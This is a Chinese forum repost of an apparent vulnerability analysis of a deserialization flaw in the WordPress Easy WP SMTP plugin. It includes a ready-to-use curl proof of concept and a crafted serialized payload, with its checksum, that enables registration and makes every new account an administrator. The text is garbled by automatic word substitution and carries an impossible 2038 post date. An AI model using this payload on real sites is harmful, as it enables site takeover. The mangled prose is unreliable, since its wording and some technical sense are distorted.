WordPress插件Easy WP SMTP反序列化毛病分析

[复制链接]
查看360 | 回复0 | 2038-1-19 11:14:07 | 显示全部楼层 |阅读模式
源码多多:WordPress插件Easy WP SMTP反序列化毛病分析
Wordpress 插件 Easy WP SMTP 近来新出了个毛病,从前有分析过。不外新的代码似乎变革有点大,以是这里花了点时间简朴看看。
起首,这个毛病存在于版本 v1.3.9。我这里能下到最靠近的老版本是 v1.3.8,惋惜 v1.3.9 更迭了一些紧张代码,我找到的版本,应该不能复现这个毛病。
下面我会根据网上一些细节举行分析,没耐烦的大佬可以直接跳到末了,看原版的分析。
wp-content/plugins/easy-wp-smtp/easy-wp-smtp.php::admin_init
这里的函数,可以在用户登入 admin 界面时举行 hook,原来是用来检察删除日记,导入/删除/更新数据库里的设置的。
然而他这里没有对用户权限做严酷的验证,乃至没有认证过的游客一样可以触发这个毛病。/wp-admin/admin.php 的解释里对 admin_init 表明道:
Note, this does not just run on user-facing admin screens. It runs on admin-ajax.php and admin-post.php as well.
昨们这里在 admin-ajax.php 处,为了触发毛病,发送了 action=swpsmtp_clear_log 的 ajax 交互哀求:
网上给出的 poc:
$ curl http://VICTIM.COM/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/upload.txt'
网上的 poc 是使用函数中的一个导入设置文件的功能:
$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
在导入以后,他会对文件内容举行一个反序列化剖析:
$in = unserialize( $in_raw );
昨们可以利用下面的 array:
{
["users_can_register"]=>
string(1) "1"
["default_role"]=>
string(13) "administrator"}
序列化以后成为:
"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}"
再次组合 array:
{
["data"]=>
string(81) "a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}"
["checksum"]=>
string(32) "3ce5fb6d7b1dbd6252f4b5b3526650c8"}
第二序次列化后,将下面的效果,存入昨们要上传的文件/tmp/upload.txt 里:
a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}
简朴说下,为何要这么构造呢,由于昨们的插件代码里有这么一段:
$in = unserialize( $in_raw );if ( empty( $in[ 'data' ] ) ) { echo $err_msg;
wp_die;
}if ( empty( $in[ 'checksum' ] ) ) { echo $err_msg;
wp_die;
}if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) { echo $err_msg;
wp_die;
}
昨们可以看到,必要绕过两个部门:
unserialize( $in_raw );unserialize( $in['data'] )
颠末两次反序列化的效果后,data 的内容,也就是下面的数组:
才气分拆为 key-value,进入后续函数:
foreach ( $data as $key => $value )
{
update_option( $key, $value );
}
users_can_register 是设置的注册启用选项,default_role 是默认权限。
附上数据库 wp_options 表查询的最初始的默认效果:
源码多多:WordPress插件Easy WP SMTP反序列化毛病分析 到这里就明白了,开启注册后,昨们注册的平凡用户都是管理权限,没须要去取原来的管理暗码,反正也解不出来…
下面昨们可以跟到更新数据库设置的位置,这就已经到主 branch 了:
/wp-includes/option.php::update_option
昨们可以看到,内里的 key,value 的值颠末下面的函数过滤,对序列化和拼接做了限定,再者利用的$wpdb 举行 sql 实行 update,可以操纵的地方就比力有限了:
$value = apply_filters( "pre_update_option_{$option}", $value, $old_value, $option );
$value = apply_filters( 'pre_update_option', $value, $option, $old_value );if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) )
{
return false;
}

$result = $wpdb->update( $wpdb->options, $update_args, array( 'option_name' => $option ) );
手慢很少写分析毛病文章,大概略显啰嗦。只是为了给小白表明的清晰些,大佬们包涵。
引用文章:
Critical zero-day vulnerability fixed in WordPress Easy WP SMTP plugin.
*本文作者:dawner,转载请注明来自FreeBuf.COM
楼主热帖